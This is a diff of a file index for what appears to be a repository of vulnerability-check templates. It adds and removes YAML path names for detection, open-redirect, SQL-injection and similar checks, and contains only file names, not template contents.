+./poc/microsoft/seeddms-default-login.yaml ./poc/microsoft/seeddms-default-password.yaml -./poc/microsoft/seeddms-detect-10129.yaml ./poc/microsoft/seeddms-detect-10130.yaml +./poc/microsoft/seeddms-detect-10131.yaml ./poc/microsoft/seeddms-detect.yaml ./poc/microsoft/seeddms-panel.yaml ./poc/microsoft/self-contained-with-params.yaml @@ -51034,6 +51363,7 @@ ./poc/microsoft/tdo-mini-forms-plugin.yaml ./poc/microsoft/tdo-mini-forms.yaml ./poc/microsoft/teamspeak-tcpquery-ver.yaml +./poc/microsoft/teamspeak3-detect.yaml ./poc/microsoft/terms-and-conditions-popup-for-woocommerce-055e1820b3e7ef430034aac2fbd3cb4b.yaml ./poc/microsoft/terms-and-conditions-popup-for-woocommerce.yaml ./poc/microsoft/terms-descriptions-1a20106cdb4950a8578842f567863e75.yaml @@ -51049,6 +51379,7 @@ ./poc/microsoft/tiki-wiki-cms.yaml ./poc/microsoft/tikiwiki-cms-1.yaml ./poc/microsoft/tikiwiki-cms-10773.yaml +./poc/microsoft/tikiwiki-cms-10774.yaml ./poc/microsoft/tikiwiki-cms-10775.yaml ./poc/microsoft/tikiwiki-cms-10776.yaml ./poc/microsoft/tikiwiki-cms-2.yaml @@ -51057,6 +51388,7 @@ ./poc/microsoft/tinychat-roomspy.yaml ./poc/microsoft/tomatocms.yaml ./poc/microsoft/top-xss-params-10806.yaml +./poc/microsoft/top-xss-params-10807.yaml ./poc/microsoft/top-xss-params-10808.yaml ./poc/microsoft/top-xss-params-10809.yaml ./poc/microsoft/top-xss-params.yaml @@ -51083,6 +51415,7 @@ ./poc/microsoft/views-for-wpforms-lite.yaml ./poc/microsoft/vospari-forms-e9bd69dbdf78833ce2843fc07cba7b74.yaml ./poc/microsoft/vospari-forms.yaml +./poc/microsoft/vpms-auth-bypass-11066.yaml ./poc/microsoft/vpms-auth-bypass-11067.yaml ./poc/microsoft/vpms-auth-bypass-11068.yaml ./poc/microsoft/vpms-auth-bypass-11069.yaml @@ -51101,6 +51434,7 @@ ./poc/microsoft/wems-manager-xss-11192.yaml ./poc/microsoft/wems-manager-xss-11193.yaml ./poc/microsoft/wems-manager-xss-11194.yaml +./poc/microsoft/wems-manager-xss.yaml ./poc/microsoft/whfst-cms.yaml ./poc/microsoft/white-label-cms-1855568f250a52767f45b60ca73feade.yaml ./poc/microsoft/white-label-cms-21f790f886a508204a6d79b9c5155bc7.yaml @@ -51116,14 +51450,15 @@ ./poc/microsoft/white-label-cms.yaml ./poc/microsoft/wondercms-detect-11221.yaml ./poc/microsoft/wondercms-detect-11222.yaml +./poc/microsoft/wondercms-detect-11223.yaml +./poc/microsoft/wondercms-detect.yaml ./poc/microsoft/woocommerce-ninjaforms-product-addons-fe7479a6b6025e86397ca09e26459aa3.yaml ./poc/microsoft/woocommerce-ninjaforms-product-addons.yaml ./poc/microsoft/woosms-sms-module-for-woocommerce-15f567edca2252a2ec556aac3ef868ef.yaml ./poc/microsoft/woosms-sms-module-for-woocommerce.yaml -./poc/microsoft/wp-arforms-listing-11415.yaml ./poc/microsoft/wp-arforms-listing-11416.yaml ./poc/microsoft/wp-arforms-listing-11417.yaml -./poc/microsoft/wp-arforms-listing.yaml +./poc/microsoft/wp-arforms-listing-11418.yaml ./poc/microsoft/wp-forms-puzzle-captcha-535ddb74e379b6bd8cd96534784a8e18.yaml ./poc/microsoft/wp-forms-puzzle-captcha-aff3112ad689326307e33432ad0c6e98.yaml ./poc/microsoft/wp-forms-puzzle-captcha-f4892d4cbc102b5b017b90e94acd8329.yaml @@ -51136,7 +51471,6 @@ ./poc/microsoft/wp-plugin-lifterlms-11533.yaml ./poc/microsoft/wp-plugin-lifterlms-11534.yaml ./poc/microsoft/wp-plugin-lifterlms-11535.yaml -./poc/microsoft/wp-plugin-lifterlms-11536.yaml ./poc/microsoft/wp-plugin-lifterlms.yaml ./poc/microsoft/wp-sfwd-lms-listing-11563.yaml ./poc/microsoft/wp-sfwd-lms-listing-11564.yaml @@ -51203,7 +51537,6 @@ ./poc/microsoft/wp-sms.yaml ./poc/microsoft/wp-super-forms-11585.yaml ./poc/microsoft/wp-super-forms-11586.yaml -./poc/microsoft/wp-super-forms-11587.yaml ./poc/microsoft/wp-super-forms-11588.yaml ./poc/microsoft/wp-terms-popup-1cce07d804e627ef58aa1266e2d0d645.yaml ./poc/microsoft/wp-terms-popup.yaml @@ -51245,10 +51578,10 @@ ./poc/microsoft/wuzhicms-detect-11652.yaml ./poc/microsoft/wuzhicms-detect-11653.yaml ./poc/microsoft/wuzhicms-detect-11655.yaml -./poc/microsoft/wuzhicms-sqli-11656.yaml ./poc/microsoft/wuzhicms-sqli-11657.yaml ./poc/microsoft/wuzhicms-sqli-11658.yaml ./poc/microsoft/wuzhicms-sqli-11659.yaml +./poc/microsoft/wuzhicms-sqli.yaml ./poc/microsoft/wuzhicms-v410-sqli.yaml ./poc/microsoft/wuzhicms-v410-sqli.yml ./poc/microsoft/wuzhicms-workflow.yaml @@ -51287,6 +51620,7 @@ ./poc/microsoft/zcms-v3-sqli-11773.yaml ./poc/microsoft/zcms-v3-sqli-11774.yaml ./poc/microsoft/zcms-v3-sqli-11775.yaml +./poc/microsoft/zcms-v3-sqli.yaml ./poc/microsoft/zcms-v3-sqli.yml ./poc/microsoft/zcms-workflow.yaml ./poc/microsoft/zcms.yaml @@ -51315,18 +51649,23 @@ ./poc/microsoft/zzzcms.yaml ./poc/mongodb/alibaba-mongoshake-unauth-269.yaml ./poc/mongodb/alibaba-mongoshake-unauth-270.yaml +./poc/mongodb/alibaba-mongoshake-unauth.yaml ./poc/mongodb/dionaea-mongodb-honeypot-detection.yaml ./poc/mongodb/mongo-express-cve-2019-10758.yml ./poc/mongodb/mongo-express-web-gui.yaml ./poc/mongodb/mongodb-detect-8919.yaml +./poc/mongodb/mongodb-detect-8920.yaml ./poc/mongodb/mongodb-detect-8921.yaml +./poc/mongodb/mongodb-detect.yaml +./poc/mongodb/mongodb-info-enum.yaml ./poc/mongodb/mongodb-ops-manager-8922.yaml ./poc/mongodb/mongodb-ops-manager-8923.yaml +./poc/mongodb/mongodb-ops-manager-8924.yaml ./poc/mongodb/mongodb-ops-manager.yaml ./poc/mongodb/mongodb-unauth-8925.yaml -./poc/mongodb/mongodb-unauth-8926.yaml ./poc/mongodb/mongodb-unauth-8927.yaml ./poc/mongodb/mongodb-unauth-8928.yaml +./poc/mongodb/mongodb-unauth.yaml ./poc/mongodb/mongodb.yaml ./poc/mongodb/mongoexpress.yaml ./poc/mongodb/robomongo-credential-1.yaml @@ -51355,15 +51694,19 @@ ./poc/mysql/EOffice_mysql_config_information_leak.yaml ./poc/mysql/ScanMySQLiErrorBased.yaml ./poc/mysql/create-mysql-detection.yaml +./poc/mysql/dionaea-mysql-honeypot-detect.yaml ./poc/mysql/e-cology-e-office-mysql-config-leak.yaml +./poc/mysql/esafenet-mysql-fileread.yaml ./poc/mysql/exposed-mysql-initial-7321.yaml +./poc/mysql/exposed-mysql-initial-7322.yaml ./poc/mysql/exposed-mysql-initial-7323.yaml ./poc/mysql/exposed-mysql-initial-7324.yaml -./poc/mysql/exposed-mysql-initial.yaml +./poc/mysql/mysql-default-login.yaml +./poc/mysql/mysql-detect.yaml ./poc/mysql/mysql-dump-files.yaml +./poc/mysql/mysql-info.yaml ./poc/mysql/mysql-my-cnf-disclosure.yaml ./poc/mysql/mysql-native-cred-bruteforce.yaml -./poc/mysql/mysql-native-password-8980.yaml ./poc/mysql/mysql-native-password-8981.yaml ./poc/mysql/mysql-native-password.yaml ./poc/mysql/mysql-sqli.yaml @@ -51378,11 +51721,9 @@ ./poc/netlify/netlify-cms-9041.yaml ./poc/netlify/netlify-cms.yaml ./poc/netlify/netlify-takeover-9042.yaml -./poc/netlify/netlify-takeover-9043.yaml ./poc/netlify/netlify-takeover-9044.yaml ./poc/netlify/netlify-takeover.yaml ./poc/nginx/default-nginx-page-6880.yaml -./poc/nginx/default-nginx-page-6881.yaml ./poc/nginx/default-nginx-page-6882.yaml ./poc/nginx/default-nginx-page-6883.yaml ./poc/nginx/git-config-nginxoffbyslash-1.yaml @@ -51392,6 +51733,7 @@ ./poc/nginx/git-config-nginxoffbyslash-5.yaml ./poc/nginx/git-config-nginxoffbyslash-6.yaml ./poc/nginx/git-config-nginxoffbyslash-7.yaml +./poc/nginx/git-config-nginxoffbyslash-7629.yaml ./poc/nginx/git-config-nginxoffbyslash-7630.yaml ./poc/nginx/git-config-nginxoffbyslash-7631.yaml ./poc/nginx/git-config-nginxoffbyslash-7632.yaml @@ -51405,22 +51747,21 @@ ./poc/nginx/nginx-conf-exposed.yaml ./poc/nginx/nginx-config-9096.yaml ./poc/nginx/nginx-config-9097.yaml -./poc/nginx/nginx-config-9098.yaml +./poc/nginx/nginx-config-9099.yaml ./poc/nginx/nginx-config-exposure.yaml +./poc/nginx/nginx-config.yaml ./poc/nginx/nginx-detect.yaml ./poc/nginx/nginx-linux-page-9100.yaml ./poc/nginx/nginx-linux-page-9101.yaml ./poc/nginx/nginx-linux-page-9103.yaml -./poc/nginx/nginx-linux-page.yaml ./poc/nginx/nginx-merge-slashes-path-traversal-1.yaml ./poc/nginx/nginx-merge-slashes-path-traversal-2.yaml ./poc/nginx/nginx-merge-slashes-path-traversal-3.yaml ./poc/nginx/nginx-merge-slashes-path-traversal-9104.yaml -./poc/nginx/nginx-merge-slashes-path-traversal.yaml +./poc/nginx/nginx-merge-slashes-path-traversal-9105.yaml ./poc/nginx/nginx-module-vts-xss-9106.yaml ./poc/nginx/nginx-module-vts-xss-9107.yaml ./poc/nginx/nginx-module-vts-xss-9108.yaml -./poc/nginx/nginx-module-vts-xss-9109.yaml ./poc/nginx/nginx-module-vts-xss-9110.yaml ./poc/nginx/nginx-module-vts-xss.yaml ./poc/nginx/nginx-proxy-manager-9111.yaml @@ -51430,14 +51771,15 @@ ./poc/nginx/nginx-proxy-manager.yaml ./poc/nginx/nginx-server-detection.yaml ./poc/nginx/nginx-shards.yaml +./poc/nginx/nginx-status-9115.yaml ./poc/nginx/nginx-status-9116.yaml -./poc/nginx/nginx-status-9117.yaml ./poc/nginx/nginx-status-9118.yaml +./poc/nginx/nginx-status.yaml ./poc/nginx/nginx-ui-dashboard.yaml ./poc/nginx/nginx-version-9119.yaml ./poc/nginx/nginx-version-9120.yaml -./poc/nginx/nginx-version-9121.yaml ./poc/nginx/nginx-version-9122.yaml +./poc/nginx/nginx-version-9123.yaml ./poc/nginx/nginx-vhost-traffic-status-9124.yaml ./poc/nginx/nginx-vhost-traffic-status-9125.yaml ./poc/nginx/nginx-vhost-traffic-status.yaml @@ -51473,7 +51815,6 @@ ./poc/nodejs/drupal_module-quick_node_clone-access-bypass.yaml ./poc/nodejs/erlang-node.yaml ./poc/nodejs/express-lfr-json.yaml -./poc/nodejs/express-lfr-post (copy 1).yaml ./poc/nodejs/express-lfr-post.yaml ./poc/nodejs/express-shop-03a76e2497e7380342a3ee5d75d5a841.yaml ./poc/nodejs/express-shop-0ea495b50daeb59a898a0ab0f191ec21.yaml @@ -51523,6 +51864,7 @@ ./poc/nodejs/nex-forms-express-wp-form-builder.yaml ./poc/nodejs/node-env.yaml ./poc/nodejs/node-exporter-metrics-9135.yaml +./poc/nodejs/node-express-dev-env.yaml ./poc/nodejs/node-express-status.yaml ./poc/nodejs/node-integration-enabled-9137.yaml ./poc/nodejs/node-integration-enabled.yaml @@ -51541,11 +51883,12 @@ ./poc/nodejs/npm-package-lock-json.yaml ./poc/nodejs/npm.yaml ./poc/nodejs/npmrc.yaml +./poc/nodejs/one-page-express-companion-b3450b2b967c29b6f76b4d9998747491.yaml ./poc/nodejs/optima-express-ffff46b32f4dcd1d99d421202dc5e67a.yaml ./poc/nodejs/optima-express.yaml ./poc/nodejs/pcdn-cache-node.yaml ./poc/nodejs/pnpm-pnpm-lock-yaml.yaml -./poc/nodejs/puppet-node-manager-detect-9720.yaml +./poc/nodejs/puppet-node-manager-detect.yaml ./poc/nodejs/stardot-express.yaml ./poc/nodejs/sun-java-system-calendar-express.yaml ./poc/nodejs/unauthenticated-mongo-express-1.yaml @@ -51592,7 +51935,7 @@ ./poc/open_redirect/Url-Redirection-Catcher.yaml ./poc/open_redirect/WBCE CMS 1.6.1 - Open Redirect & CSRF.yaml ./poc/open_redirect/WordPress-Begin_Themes-Redirection.yaml -./poc/open_redirect/age-gate-open-redirect-207.yaml +./poc/open_redirect/age-gate-open-redirect.yaml ./poc/open_redirect/all-404-pages-redirect-to-homepage-cdee863c21664bd13f1b773588ad086d.yaml ./poc/open_redirect/all-404-pages-redirect-to-homepage.yaml ./poc/open_redirect/all-404-redirect-to-homepage-089607c10a667d577534d7f54440d6ac.yaml @@ -51606,13 +51949,15 @@ ./poc/open_redirect/all-in-one-redirection-40669ba7afc409a809558b70fb86dc5a.yaml ./poc/open_redirect/all-in-one-redirection-9e1b1d2bb03fd53ceb91ffb3132e70ec.yaml ./poc/open_redirect/all-in-one-redirection.yaml -./poc/open_redirect/aspnuke-openredirect-554.yaml ./poc/open_redirect/aspnuke-openredirect-555.yaml +./poc/open_redirect/aspnuke-openredirect-556.yaml ./poc/open_redirect/aspnuke-openredirect-557.yaml +./poc/open_redirect/aspnuke-openredirect.yaml ./poc/open_redirect/attitude-theme-open-redirect-586.yaml ./poc/open_redirect/attitude-theme-open-redirect-587.yaml -./poc/open_redirect/attitude-theme-open-redirect.yaml +./poc/open_redirect/attitude-theme-open-redirect-588.yaml ./poc/open_redirect/attitude-wp-theme-open-redirect.yaml +./poc/open_redirect/aws-redirect-651.yaml ./poc/open_redirect/aws-redirect-652.yaml ./poc/open_redirect/aws-redirect-653.yaml ./poc/open_redirect/aws-redirect-654.yaml @@ -51636,11 +51981,13 @@ ./poc/open_redirect/brandfolder-open-redirect-781.yaml ./poc/open_redirect/brandfolder-open-redirect-782.yaml ./poc/open_redirect/caddy-open-redirect-836.yaml +./poc/open_redirect/caddy-open-redirect-837.yaml ./poc/open_redirect/caddy-open-redirect.yaml ./poc/open_redirect/cf7-redirect-thank-you-page-ea1e6381dbae7882ca5c498271c956f8.yaml ./poc/open_redirect/cf7-redirect-thank-you-page.yaml ./poc/open_redirect/custom-login-redirect-065cab9298d59d25ad6e368755cf2c99.yaml ./poc/open_redirect/custom-login-redirect.yaml +./poc/open_redirect/dedecms-openredirect-6800.yaml ./poc/open_redirect/dedecms-openredirect-6801.yaml ./poc/open_redirect/dedecms-openredirect-6802.yaml ./poc/open_redirect/dedecms-openredirect-6803.yaml @@ -51654,8 +52001,6 @@ ./poc/open_redirect/drupal-user-enum-redirect-4.yaml ./poc/open_redirect/drupal-user-enum-redirect-7112.yaml ./poc/open_redirect/drupal-user-enum-redirect-7113.yaml -./poc/open_redirect/drupal-user-enum-redirect-7114.yaml -./poc/open_redirect/drupal-user-enum-redirect-7115.yaml ./poc/open_redirect/drupal_module-anonymousredirect-unsupported.yaml ./poc/open_redirect/drupal_module-elf-open-redirect-vulnerability.yaml ./poc/open_redirect/drupal_module-pubdlcnt-open-redirect-vulnerability.yaml @@ -51698,9 +52043,9 @@ ./poc/open_redirect/htaccess-redirect-15d8c137823c3b6979566e3d6ce26232.yaml ./poc/open_redirect/htaccess-redirect.yaml ./poc/open_redirect/httpbin-open-redirect-8048.yaml +./poc/open_redirect/httpbin-open-redirect-8049.yaml ./poc/open_redirect/httpbin-open-redirect.yml ./poc/open_redirect/https-to-http-redirect.yaml -./poc/open_redirect/icewarp-open-redirect.yaml ./poc/open_redirect/icewarp-openredirects.yaml ./poc/open_redirect/kentico-open-redirect-8448.yaml ./poc/open_redirect/kentico-open-redirect.yaml @@ -51719,7 +52064,6 @@ ./poc/open_redirect/msmc-redirect-after-comment.yaml ./poc/open_redirect/multiple-parameters-openredirect.yaml ./poc/open_redirect/music-store-open-redirect-8972.yaml -./poc/open_redirect/music-store-open-redirect.yaml ./poc/open_redirect/netsweeper-open-redirect-9063.yaml ./poc/open_redirect/netsweeper-open-redirect-9064.yaml ./poc/open_redirect/newsletter-manager-open-redirect-9075.yaml @@ -51727,7 +52071,6 @@ ./poc/open_redirect/newsletter-open-redirect-9076.yaml ./poc/open_redirect/newsletter-open-redirect-9077.yaml ./poc/open_redirect/newsletter-open-redirect-9078.yaml -./poc/open_redirect/newsletter-open-redirect.yaml ./poc/open_redirect/nextjs-redirect.yaml ./poc/open_redirect/ninjaform-open-redirect-9133.yaml ./poc/open_redirect/ninjaform-open-redirect-9134.yaml @@ -51782,6 +52125,7 @@ ./poc/open_redirect/open-redirect-host-slash.yaml ./poc/open_redirect/open-redirect-plus.yaml ./poc/open_redirect/open-redirect.yaml +./poc/open_redirect/open-redirect2.yaml ./poc/open_redirect/open-redirection-vuln-params.yaml ./poc/open_redirect/open_redirect.yaml ./poc/open_redirect/openredirect.yaml @@ -51795,9 +52139,11 @@ ./poc/open_redirect/peters-login-redirect.yaml ./poc/open_redirect/pieregister-open-redirect-9577.yaml ./poc/open_redirect/pieregister-open-redirect-9578.yaml -./poc/open_redirect/pieregister-open-redirect.yaml -./poc/open_redirect/pollbot-redirect-9621.yaml +./poc/open_redirect/pieregister-open-redirect-9579.yaml +./poc/open_redirect/pieregister-plugin-open-redirect.yaml ./poc/open_redirect/pollbot-redirect-9622.yaml +./poc/open_redirect/pollbot-redirect-9623.yaml +./poc/open_redirect/pollbot-redirect.yaml ./poc/open_redirect/postcode-redirect-6477bf18cad6c823db485408d49b337b.yaml ./poc/open_redirect/postcode-redirect-8fce0528958fb8f6fccd77f326340662.yaml ./poc/open_redirect/postcode-redirect.yaml @@ -51939,8 +52285,8 @@ ./poc/open_redirect/redirects.yaml ./poc/open_redirect/safe-redirect-manager-93b4dd80cb08c6bb491877eefaa735d9.yaml ./poc/open_redirect/safe-redirect-manager.yaml +./poc/open_redirect/sap-redirect-10064.yaml ./poc/open_redirect/sap-redirect-10065.yaml -./poc/open_redirect/sap-redirect-10066.yaml ./poc/open_redirect/sap-redirect-10067.yaml ./poc/open_redirect/seo-redirection-00236bb3125835cea1f664a5a2990898.yaml ./poc/open_redirect/seo-redirection-02c98a3021ab90d177604810266eda87.yaml @@ -51993,8 +52339,10 @@ ./poc/open_redirect/thinkific-redirect-10737.yaml ./poc/open_redirect/tpg-redirect-85f56196634b8bf7c02f780064a6fc7d.yaml ./poc/open_redirect/tpg-redirect.yaml +./poc/open_redirect/ultimatemember-open-redirect-10877.yaml ./poc/open_redirect/ultimatemember-open-redirect-10878.yaml ./poc/open_redirect/ultimatemember-open-redirect-10879.yaml +./poc/open_redirect/ultimatemember-open-redirect.yaml ./poc/open_redirect/ultimatemember-plugin-open-redirect.yaml ./poc/open_redirect/url-redirect.yaml ./poc/open_redirect/url-redirection-catcher.yaml @@ -52002,7 +52350,6 @@ ./poc/open_redirect/wc-thanks-redirect-8ce62c9a29dcc031d4f086c2f6793117.yaml ./poc/open_redirect/wc-thanks-redirect.yaml ./poc/open_redirect/webp-coverter-open-redirect.yaml -./poc/open_redirect/weekender-newspaper-open-redirect-11186.yaml ./poc/open_redirect/weekender-newspaper-open-redirect-11187.yaml ./poc/open_redirect/weekender-newspaper-open-redirect-11188.yaml ./poc/open_redirect/weekender-newspaper-wp-theme-open-redirect.yaml @@ -52011,9 +52358,9 @@ ./poc/open_redirect/woo-login-redirect.yaml ./poc/open_redirect/woocommerce-add-to-cart-custom-redirect-64a9b17becafc7bb8d1d5b45684524cd.yaml ./poc/open_redirect/woocommerce-add-to-cart-custom-redirect.yaml +./poc/open_redirect/wordpress-redirection-plugin-listing-11306.yaml ./poc/open_redirect/wordpress-redirection-plugin-listing-11307.yaml ./poc/open_redirect/wordpress-redirection-plugin-listing-11308.yaml -./poc/open_redirect/wordpress-redirection-plugin-listing.yaml ./poc/open_redirect/wp-404-auto-redirect-to-similar-post-062dffbc9ba36d2c45b3c3ca1f34e0d3.yaml ./poc/open_redirect/wp-404-auto-redirect-to-similar-post-76a6410aed89ec5d80b58eb825a4989b.yaml ./poc/open_redirect/wp-404-auto-redirect-to-similar-post-c3c279f6a773c00d7aae3e43cf34cb82.yaml @@ -52034,14 +52381,13 @@ ./poc/open_redirect/wp-gtranslate-open-redirect-11466.yaml ./poc/open_redirect/wp-login-and-logout-redirect-bcc9e091fa98d610ac79a7162207c92e.yaml ./poc/open_redirect/wp-login-and-logout-redirect.yaml +./poc/open_redirect/wp-prostore-open-redirect-11546.yaml ./poc/open_redirect/wp-prostore-open-redirect-11547.yaml ./poc/open_redirect/wp-prostore-open-redirect-11548.yaml ./poc/open_redirect/wp-prostore-open-redirect-11549.yaml -./poc/open_redirect/wp-prostore-open-redirect-11550.yaml -./poc/open_redirect/wp-prostore-open-redirect.yaml ./poc/open_redirect/wp-search-keyword-redirect-bf4ef59a087b3009bcd665ccc0df58a8.yaml ./poc/open_redirect/wp-search-keyword-redirect.yaml -./poc/open_redirect/wp-security-open-redirect.yaml +./poc/open_redirect/wp-security-open-redirect-11561.yaml ./poc/open_redirect/wp-seo-redirect-301-bba1429b65a3dc616f15fed5c4bd415f.yaml ./poc/open_redirect/wp-seo-redirect-301.yaml ./poc/open_redirect/wpcf7-redirect-28d0451dea85d51875a875e880656c8d.yaml @@ -52059,6 +52405,7 @@ ./poc/open_redirect/wptouch-open-redirect-11592.yaml ./poc/open_redirect/wptouch-open-redirect-11593.yaml ./poc/open_redirect/wptouch-open-redirect-11594.yaml +./poc/open_redirect/wptouch-open-redirect-11595.yaml ./poc/open_redirect/wptouch-plugin-open-redirect.yaml ./poc/open_redirect/zip-codes-redirect-6477bf18cad6c823db485408d49b337b.yaml ./poc/open_redirect/zip-codes-redirect-d41d8cd98f00b204e9800998ecf8427e.yaml @@ -52075,18 +52422,19 @@ ./poc/oracle/custom-oracle-ebs-path-normalise-detect.yaml ./poc/oracle/default-oracle-application-page-6889.yaml ./poc/oracle/default-oracle-application-page-6890.yaml +./poc/oracle/default-oracle-application-page-6891.yaml ./poc/oracle/default-oracle-application-page-6892.yaml ./poc/oracle/default-oracle-application-page-6893.yaml ./poc/oracle/default-oracle-application-page.yaml ./poc/oracle/dms-oracle.yaml -./poc/oracle/metadata-oracle-8829.yaml ./poc/oracle/metadata-oracle-8830.yaml ./poc/oracle/metadata-oracle-8831.yaml +./poc/oracle/metadata-oracle.yaml +./poc/oracle/oracle-access-management.yaml ./poc/oracle/oracle-access-manager.yaml ./poc/oracle/oracle-adf-faces.yaml ./poc/oracle/oracle-application-server.yaml ./poc/oracle/oracle-bi-default-credentials.yaml -./poc/oracle/oracle-business-control-9344.yaml ./poc/oracle/oracle-business-control-9345.yaml ./poc/oracle/oracle-business-control-9346.yaml ./poc/oracle/oracle-business-control-9347.yaml @@ -52099,6 +52447,7 @@ ./poc/oracle/oracle-dbass-detect-9349.yaml ./poc/oracle/oracle-dbass-detect-9350.yaml ./poc/oracle/oracle-dbass-detect-9351.yaml +./poc/oracle/oracle-dbass-detect.yaml ./poc/oracle/oracle-dbcs-9352.yaml ./poc/oracle/oracle-dbcs-9353.yaml ./poc/oracle/oracle-dbcs-9354.yaml @@ -52112,6 +52461,7 @@ ./poc/oracle/oracle-ebs-bispgraph-file-access-9361.yaml ./poc/oracle/oracle-ebs-config-disclosure.yaml ./poc/oracle/oracle-ebs-credentials-9364.yaml +./poc/oracle/oracle-ebs-credentials-9365.yaml ./poc/oracle/oracle-ebs-credentials-9366.yaml ./poc/oracle/oracle-ebs-credentials-disclosure-9363.yaml ./poc/oracle/oracle-ebs-credentials-disclosure.yaml @@ -52120,16 +52470,18 @@ ./poc/oracle/oracle-ebs-sqllog-disclosure-9367.yaml ./poc/oracle/oracle-ebs-sqllog-disclosure-9369.yaml ./poc/oracle/oracle-ebs-sqllog-disclosure-9370.yaml +./poc/oracle/oracle-ebs-sqllog-disclosure-9371.yaml ./poc/oracle/oracle-ebs-sqllog-disclosure-9372.yaml ./poc/oracle/oracle-ebs-sqllog-disclosure.yaml ./poc/oracle/oracle-ebs-xss-1.yaml ./poc/oracle/oracle-ebs-xss-2.yaml ./poc/oracle/oracle-ebs-xss-3.yaml +./poc/oracle/oracle-ebs-xss-9373.yaml ./poc/oracle/oracle-ebs-xss-9375.yaml -./poc/oracle/oracle-ebs-xss-9376.yaml ./poc/oracle/oracle-ebs-xss-9377.yaml ./poc/oracle/oracle-ebs-xss.yaml ./poc/oracle/oracle-ebusiness-openredirect.yaml +./poc/oracle/oracle-ebusiness-panel.yaml ./poc/oracle/oracle-ebusiness-registration-enabled.yaml ./poc/oracle/oracle-enterprise-manager-login.yaml ./poc/oracle/oracle-enterprise-performance-management-system.yaml @@ -52150,15 +52502,17 @@ ./poc/oracle/oracle-integrated-manager-9390.yaml ./poc/oracle/oracle-integrated-manager.yaml ./poc/oracle/oracle-iplanet-web-server-9391.yaml -./poc/oracle/oracle-iplanet-web-server-9392.yaml +./poc/oracle/oracle-iplanet-web-server-9393.yaml +./poc/oracle/oracle-iplanet-web-server.yaml +./poc/oracle/oracle-oam-xss.yaml ./poc/oracle/oracle-opera.yaml ./poc/oracle/oracle-people-enterprise-9394.yaml ./poc/oracle/oracle-people-enterprise-9395.yaml -./poc/oracle/oracle-people-enterprise-9396.yaml ./poc/oracle/oracle-people-enterprise-9397.yaml ./poc/oracle/oracle-people-enterprise-9398.yaml ./poc/oracle/oracle-people-enterprise.yaml ./poc/oracle/oracle-people-sign-in.yaml +./poc/oracle/oracle-peoplesoft-panel.yaml ./poc/oracle/oracle-peoplesoft-workflow.yaml ./poc/oracle/oracle-primerva.yaml ./poc/oracle/oracle-siebel-crm.yaml @@ -52289,8 +52643,8 @@ ./poc/other/37 - T2.yaml ./poc/other/38 - T3.yaml ./poc/other/39 - T4.yaml +./poc/other/3cx-management-console-1.yaml ./poc/other/3cx-management-console-2.yaml -./poc/other/3cx-management-console.yaml ./poc/other/3cx-phone-management-panel.yaml ./poc/other/3d-cover-carousel-e3b7977578ea85058de3bb34af6ce851.yaml ./poc/other/3d-cover-carousel.yaml @@ -52311,8 +52665,8 @@ ./poc/other/3dprint.yaml ./poc/other/3g-wireless-gateway-3.yaml ./poc/other/3g-wireless-gateway-4.yaml -./poc/other/3g-wireless-gateway-5.yaml ./poc/other/3g-wireless-gateway-6.yaml +./poc/other/3g-wireless-gateway.yaml ./poc/other/3gmeeting-fileRead.yaml ./poc/other/3r-elementor-timeline-widget.yaml ./poc/other/40 - T5.yaml @@ -52427,7 +52781,6 @@ ./poc/other/Avada.yaml ./poc/other/B2Bbuilder_v7-getshell.yaml ./poc/other/Bitrix_Account_UIDH.yaml -./poc/other/Bitrix_check_env.yaml ./poc/other/Bitrix_server_testcheck.yaml ./poc/other/CISA.yaml ./poc/other/CORS Pre-Flight Bypass.yaml @@ -52503,7 +52856,6 @@ ./poc/other/LPDString.yaml ./poc/other/LSCP.yaml ./poc/other/LayerSlider-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml -./poc/other/LayerSlider-plugin.yaml ./poc/other/LibreOfficeImpressSCPair.yaml ./poc/other/LiveBOS_ShowImage_FileRead.yaml ./poc/other/Lm-FileRead.yaml @@ -52602,7 +52954,6 @@ ./poc/other/VerifierAdvanced.yaml ./poc/other/VersionRequest.yaml ./poc/other/WOOYUN-2010-080723.yaml -./poc/other/WSO2-2019-0598.yaml ./poc/other/WSO2MgmtConsole.yaml ./poc/other/Weaver-SignatureDownload-file-read.yaml ./poc/other/Wireless-leakage.yaml @@ -52615,6 +52966,7 @@ ./poc/other/X-Remote-Addr .yaml ./poc/other/X-Remote-Addr.yaml ./poc/other/X-Remote-IP .yaml +./poc/other/X-Remote-IP.yaml ./poc/other/X-Rewrite-URL.yaml ./poc/other/X11Probe.yaml ./poc/other/Yes-059f1c0288ee3dfe1136ff4836457838.yaml @@ -52941,14 +53293,19 @@ ./poc/other/ach-for-stripe-plaid-ff9293ba28748efa2ab9a2fe77385468.yaml ./poc/other/ach-for-stripe-plaid.yaml ./poc/other/achecker-panel.yaml +./poc/other/ackee-panel.yaml +./poc/other/acm-cert-renewal-30days.yaml +./poc/other/acm-cert-renewal-45days.yaml +./poc/other/acm-cert-validation.yaml ./poc/other/acm-certificate-expired.yaml +./poc/other/acm-wildcard-cert.yaml ./poc/other/acmailer-邮件系统.yaml ./poc/other/acme-fix-images-6495363c904fac12fdd3040312907efc.yaml ./poc/other/acme-fix-images.yaml ./poc/other/acobot-1fb586cbe3dd033c68d0357915d33bdc.yaml ./poc/other/acobot.yaml ./poc/other/acrolinx-dashboard-36.yaml -./poc/other/acrolinx-dashboard-37.yaml +./poc/other/acrolinx-dashboard-38.yaml ./poc/other/acrolinx-dashboard.yaml ./poc/other/acrolinx-workflow.yaml ./poc/other/acsoft-cloud.yaml @@ -53009,6 +53366,7 @@ ./poc/other/acunetix-360-installer.yaml ./poc/other/acunetix-panel-54.yaml ./poc/other/acunetix-panel-55.yaml +./poc/other/acunetix-panel-56.yaml ./poc/other/acunetix-panel-57.yaml ./poc/other/acunetix-panel-59.yaml ./poc/other/acunetix-wvs.yaml @@ -53444,7 +53802,7 @@ ./poc/other/advance-menu-manager-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/other/advance-menu-manager-plugin.yaml ./poc/other/advance-menu-manager.yaml -./poc/other/advance-setup-119.yaml +./poc/other/advance-setup-120.yaml ./poc/other/advance-setup-121.yaml ./poc/other/advance-setup-122.yaml ./poc/other/advance-setup-123.yaml @@ -53827,9 +54185,10 @@ ./poc/other/ajp.yaml ./poc/other/akal-f079b6e59ea0bbabb419d26f8287c189.yaml ./poc/other/akal.yaml +./poc/other/akamai-cloudtest-250.yaml ./poc/other/akamai-cloudtest-251.yaml ./poc/other/akamai-cloudtest-252.yaml -./poc/other/akamai-cloudtest-254.yaml 